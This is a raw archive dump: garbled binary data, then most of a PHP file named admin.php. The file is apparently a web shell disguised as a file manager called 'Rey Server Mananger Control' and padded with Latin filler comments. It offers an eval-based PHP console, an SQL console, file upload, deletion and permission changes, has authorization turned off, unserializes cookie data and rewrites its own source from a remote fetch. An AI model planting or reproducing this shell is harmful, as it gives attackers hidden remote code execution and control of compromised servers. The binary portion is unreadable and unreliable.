�&W�抗��ӕ�\���٠�X,�mYH: J� '�4����C?u-g"�[6/J�]�oT��,�� �%1#�#��]B���~�{쇓�H���e�@��u��:���SQ1����FԒ�)��G7�u�M�u;�p1��A0�0��6�X�8h�?�W��O���ʠ��9��x�qK-������K��:<��c��[�Q���O{�?�A�7���V��I�����.k}��)J��;���mCc_Hs�$�����r���B�/���(u�Ŵ- �\��U���9%�'����#��o}p�ڼgm�#��/N���:��U�Á�h{K�����թ�>"�\�J��ܖ4{���W�٠='�M��|l�{�`�4�q�1+h��ʖ�x�r������}� ������9��2�?�e�o��c*�y����9/�-_��E���|����]�����w3�y0�o��4u��?罋ݠ��mkĭc����7���8�"���� XC �T?�l�u��n3�U�b)��i>$k߭5cpxS���74�c �8�H��� ��*��D��J����o��Lx����B����?)g]�����[:D��ˁO�� �wcv -S`��cK��f�6�����B�HI�J�:,���@[9G�o��q�Ɏ�4 FV�A�X� �d$3�'�p��?F�@!��A�J�:j��JT���A;�)f(��Ja/(M�S$�-%�Yi�s������jƂ�<~$G��=���'ܧ�R&'���8�uɚ��!h9;O�l8��Zщ��a�L�Va��Ur����fh�B �EԬ�ȁ�,i�Y�C�!�B��C��)m�UX��A���� ��~�m�#�+���������G�2���$�b�p�-S�u��Ċ`/o�0[Us�e��ӑx��Gz�[��c%̣!H���㊙��>8b��i,(�9U[�6�<�7ǝǛa�ka���� \ j m��`��$e����q � 0a�q#1K�XOE�V��5#� �8�Q���%��Z�j�v�˭Q��*���Ѭ��z?qǡ�x㺹ϟ7��D�BNu�#F0���� b���� � �Ibv���2� ��b�禎��i8���̧�nKvM�w��W| �]h�of�>=�������Q��0��JW��֚I�i�`�)K�E(3�/b���*���CP���:&��7��_�n4@_�ߍs� 75�{����/�**� <��Vl7c��� �o�����wl ���j�>�4�d8����4�2�rx37iGЌK*d%�������n������20|�#$Ɯ�CM�Ù��T�s�[�$���f�vm3�!,��s����A�bxV¡�D�H4^��?��-��a�%�ډ+J^�F@J�H��%���V*d:{�0�&P�F�(�[��n �V�DȐz-G�,m���W�(8T�mm��^v�h�^u�8v������e���6B��1�:�<��bZv����:D�I���D�5���ЉO�D�b� cq���b>P|�"t #(:w�#߂Kq�Z�'�_eR�Y^�r� y�-H�Utè�"c�燌$_�X9��"�\ bD�ix�cex ��'���$�HВ�t�s�By�@�5蜛e��i��A,���x�JVX�/Wm�6���.��&R�0�&���mp��;���W�^R��L.�E��Dz�xW��XX�ض$�S�c=67�����<� ����v� ��XL��7� &9ů�g (��0�?W���¿��]�kj]f�_��졯��ƎP�_��0�"ƅl����N�S�^tr�+ډl*jk��3�e�T�D �^"M1H���gG}�o �s�����9C����=��&W�n��Xt(c�;�2�Û����bn��oU��NM"�Z|S��ܹ��ξ�� �U����^�u�s-��k�&�!��-r�i���K�W��И[��{�0OpD�gI]��cH���C��HbH}0�OQax5X����w��XR�ߩO bI�T�)M N�N���Z�(�)���p���0S��|N�SN���ё��K��n�4H_��(pU�߁O)sq��Ȉ���.WQ�Ծwi�]� j 쿫7�O*�!c��YB�k�,P1DH~6��s�eo]S�^���Lĉ�2:9�P����_�J-W�Xj�;���^)���`}P�*�U!��UI�L<�y�ET�c�0^]+��% ^wN�En��ږ(�p�:�(oG,b��%<qR{Ʋ �:4c-^O�q+J h�v�C�ꇰ \�y��湐�~���=(&�k� )n�H�=*� �q�T&+o�P����UG �k�����u��j��ɇP�!G�ՌQ�ʼ�&�� �@Ah=X>���r�z+z-�������<\?��;DC����)#7̌Qu��S\k D� 0#D:h�Q�z��-�� 7��EE}��~@K��� +��&�D��@���R�R��������V���=>��p4f'�7���|�de��lwo�x"�Jg���0�"�pJ(8�P�5�P�����P.&�jC�C��P�=v�~>S�(��T�]P�0�tۆ9Q�YD���� O�+j�tv�?n���� 7r'.P%W���JS�Q�S��غ"��g�B{��N�8u��)�0)�`�3� (�S��p8���T�L��|��� ��V�! �*CP����ГRZRJOJjI9=)����iq--I�V�.��)�r���B��!�6��?C�1~�DW� u-"/@��)� K�!�<��*5���Q�|G�,�3������K��"H����2���Xx�7�|�>�u�C0��e�����XrwD,�K�l҆H�l �$�?��Jj`5Ğ��^���� B�\͐�$�:�,N�OH�:'���'���(��P5 ii��&�IFEiJwZt�\�x�bH��;U�?~����)�r!��������Q�^���bI�a���I��@�����3���oz�&�Z �JDtV%tu����ҴG�-i����+���OW�,b ��'�uŭ��L�t���!���¬r��T>��z�0�JX����0�?!i�+�S`���iOg@9���B�f9���}ۄO�ӈQx����F�S�*F_�� 9?N��� �D�ifO /L�e�ܢ�Ǻ��X� ����?�t�� �~������H�"�~hc͢��9�,A�ˌ��0n��'� H����Սnæ�P�/��TK'�A4W�r0߆_���߮p��ߐ�yN�SK/�&%EU_a'�~���/U �'���v�M,0+��NۦF�ͪFi2/�>=�9�l���3]%���&|M����? 0kn�(���G�S�F΅�AW����6'��]�V����Q����]�w��<��*C�����\��1�Ǐ.�G�F��A�^������oQ|�h��M��p �2$Vrs2� �=���O�w��^V�)��.yj���t�0Ѽ1N�C���?�ȡ%�ž��������+#�8��qH��#����o�rߣ�-ǟ vH�͜`3G��tl�*6�`=@ZiR4Q{�T<�j@?�ў�t��:�N�LMP����$4E��.�����]4�hZ�D��n[��V'���>�b��$@mJ�1��_XI�5�C(�}�ɚZ]}��X=��fr����݊G� �!�Kh���2Z�4'��j ]��u��r mG�Ѐ���Y��, Ͻ1C��|lФԃ�4����v���?�֤L��H� `�0 ��sO\Z�/$����'v�S�i/�Ha�o�9٧���[�μ{ ��3�u��驝!�6�����ӕ�&89ؒ�H���U�@8d��gF/�T����#�oB�oW�?%���n`Y��� ��T�]�|?�>��'��+А���)k.����F��P�e�SN�)�e�:�)e�۷J�=7���*�Ȅ���Sm��]�C*�f��m�b�DRf����es���^FV�lB�rI���e��qf�E�q7v�S/BDE ��y �Tya#e��`Ol��zĄ�M���`�� ~�g� JCg�{7����n�":��JmOt� 4-��`�>�p@bz�ًu��#z�<�O�N�{�Ǫݻ�u��^;��A���j2���� �#db���'���'�b��l�Xܫ��qFOک�%�CA� �%���q ��X"�L�}ߛ{cT>V�������������qWM�x֢�S�MlEk�*,��9�� ���c�;���O��;.k LU[4�:U�R�Ȍ�c�9�;5~��*��4H��Õ0汄�k�"�=n��f�Kh��7�\o���n7D�T��JVD��\��ԡ�#'��'Ȃ�K��G�ۧ&�|�H�X����뭗���Z�_��ʺ�����YG�q9�POd8��z(�K�\�K%����>�r2Y2L��N�ܪ���d��P�����q�=�a�I�T�[2�-O�,�O��x�ߣ�8>�f[-�_H^ ����I�x�GbE6[�[�$ɢ��d?�:���B"�ܗ=�Ǝ^�P��W[ �8�m��} ������# �~u��zȯfmg����O,��˷�wH[C��%��ۂ��ũ�!t�@��L�U���g� �u����{H�30P2��;JE�2m��Mh���i�>IY]�E�)|_��q�Om3��#���Q=�Z���vs�ݕm��C���yL� ����j(ܣ�aE�>E�������S��1��1K���b9f���U�jLZ�tf ��~����d6Q�p#�:Qw�N���j 9vB擡F��'��n%��]Ֆ=� N���pV��,^��x�d?�sE��2�P��N�:��}� �8"�ڣ��۫!���S#���1}�٣~��K�<Ur�H��B~�D�P0 K��o�`=F#�+���N^Xv�lR�)�f{@�{4��� X��zrYsN��`Rʉ���r�h��Ǭ�0�����j��C�Ba�}���)��>��Tf%��-� �Lko���v�y3�j� �4m���������&_�C��>,>������������z��{�a����#�[�la���W��i�}��GϹ��ì�N���"��j�hB��M&kfN��ϫ��+��D���Mz%�6ul�LJ�[�'�f_%?�j6�S�/�R5h�?4�\���U�睌�Nأ�:B{�~�ް�'I ��movD�}��TN��㏤>���ÿ;���Lo5A[D���I�Z�^'��d���t|M���(��}]����M��4ԂQZ R���iR?�719e���Y�*�;�%�5O@d�ۯ�x�V��ӋQ)"4�[��pY���HO��]�� �����0�Hh���4�b�)��?��͑fE���~8cv�^%�1$�}`gն�>p^�M��T����%Go=;TX�U-|ͰD��yɱ�����b�N��l���k�A����>0�j����w���i�r���5�ՂBy��Xp��#�x7ԔD�sA�D�E���;�����פ-�TP����J;i�M0z}��$a��������u0M�Vw�?l}9A\1��¤�=$���gz\X88�#{��Ǝ"m�v��"��zp��7�&�Q�h���z�Eu�#Gt�WD�Qu�u4���=4�S�Pi�r�G/X+ͼ�1hpiЌ�?CHd|7�l�^��L3!�(�X4�a<ꋫ�9��7�)Lո�ޣ�g{X[��W�w�� ��HԽ��s@�#�^N?(�M�T�צ��y�1f�YT�?��z�����t�����P��G����?�J����a�~�Q������;��͇�Zm}ؿ����+�������X�j�o�S߳�����D��9�&�}I��QW����3<�`].��Zt1Q~�������:�F҃~���5N��2�k���2�~�#��$|&{����Fl3���K��qvx��� <�`��@;<itu����X��̴Ǩ��v��ֵ���V��>����*��nQh,!ia�*�^~������܂7ֺP�)��S��'������d��b�1e��Y��Ѯ��2�� �N��7ì:�4]ѯ����m7�W#7�43�^�ۯ���wG��f��K�Wc�CB�����#���x �_��q�n����$�� �Ի�ŭ�f� X]3�L;�l�>*a<��B�\�R�ƺ��Xa9�ю�� ����0FЈ��1A����NԬ�X ��:���P���bZ��Ln!��b� 7�X %L%q�|��4O@��/�@蓆J�V�4@�C4�Y0SnD3 5$�$+RY21Uk��3%��D {m}@��f3���A�#�ĎBHo]��T1g���r샩�>^�r����d(&��/�D:c�!�ۈ���S�/Lo��&�6�8��������:�h?�J�2�l���M3>�j���%������`4U[�C� ��,��[A�Y��*홝RP��Ɍ�l{`�4���.k�a�%�^���7�H.�G�s�h��� }�L�O�� {�u�X'q��@r�����)��L�V|����S�k�P��L,�:~n�(Y��RW�ٙ�Y�����1��@`�����J��6H�#;�Q�����T�+3�?y)q�2 ����b*/T!c�ɗPo��U[���zc��!�4�4MQE��p�C�*B��T#3 B �u�� D��o�6���Mm��n�Z��ԦH�6�\���7���)�p���@0��#����*�+�in�|�y�{��˘]�T��T��FT3�IJ�) =��������1H��7����}\�eM݉`:�fT<�xt�A���1�5C�{����4t\⠀��\�ҝ�&2��Lg|�'Q2�U���� u6��풯 :���l���s;��@6ǿ����,��Ӈ��p����AL~��Z:/��M��N�Ǡz���֗�� ��,��:w�����,k5�Z�������nr�?dt�V0l�'�%� ے��#U��ٍ����/_����7V,�,��5z��n��,�0�R@�����}��g�`j�]������)�gf�?|~�L���r�������#��f�u ��L�u:�56�fx6��R���w������}W�#��c�]� �A����eٓ5ب˿��ű�n��z��@��������XW��<|�n��z'��=� �d|��9px�ЍcHG�f�S.B\�q\cJu�o����Ņ�4<.�0�-������3}[��8�6���|�M�Tm��]5\��� *�L㽚���Z�p,j|����jڣuDRqέϻ �N�iD�sA�CTz���swh���I���t���f�.t�ؽc�v�yB(#)���~��%�-?��!B�§���| �(�WĢ���A����@"x�I;@�F�q�|7�� 3��Gܥ�}�C�\=D�x��莺4���%P��s�?�s�CsmQ� �JШ��]���p�*Q�����Ұ���S�~����Ͽ?������K��e�{ � error_log.tar.gz 0000644 00000000756 15032624205 0007674 0 ustar 00 � �?o�0�3�w�"�=�%R���5���8�#����T���w/�H������"���~� U�E�5Z���`�A�1E���hoe�u�ܴd�w�zE���$��*J%����ƮS�P�1v�JS�Q� K�,��O�8ć^vlu�KJ�F��]B/>t�"�� |.X&�nWW�ay��O��P� �K��!���T�o� ���}��w���>1�PӾ��"�m��%Z�J�ã�����f_��S��xf���([�,~���=o�&�3 ,f��xX�N�7�Hu�PK��z��6`44�F�s�%�ĨH��|$�7b1ĚGb�Rp*x���&��O�e���KA���������@�V�++��+�4C����-:��: ߠ�w8��H�1�x���0��<>~� M�߮����H5�F�~�����lXx�A �T2�������F�uj���s� PK ���Z�LI� I� admin.phpnu �[��� <?php /* Rey Server Mananger Control */ // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // File Manager instrumentum utile est ad res in systemate computatorio ordinandas // Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum $auth_local = json_decode($authorization_Option,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // File Manager adhibetur ad fasciculos inter directorias movere $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_myfile' => true, 'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta 'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config; else $fms_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Multae versiones File Manager in systematibus operandi diversis exstant $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { // File Manager in versionibus recentibus variat inter GUI et CLI formas $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; // Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit function fm_del_fileSet($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fileSet($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Aliquam File Manager etiam permittit utentes cum serveris remotos operari. $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Usus File Manager fit potissimum per drag et drop actiones $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // File Manager etiam multis systematibus permittit accessum ad hidden files $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load fileSet function fm_download($archiveFileName) { if (!empty($archiveFileName)) { if (file_exists($archiveFileName)) { header("Content-Disposition: attachment; filename=" . basename($archiveFileName)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fileSetize($archiveFileName)); flush(); // this doesn't really matter. $fp = fopen($archiveFileName, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } // File Manager in multis casibus includit instrumenta ad compressiones fasciculorum function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fileSetize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+fileSetize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errorList=ini_get('display_errorList'); ini_set('display_errorList', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errorList', $display_errorList); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fms_config; return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']); } function fm_sql($query){ global $fms_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fileSetize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fms_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label 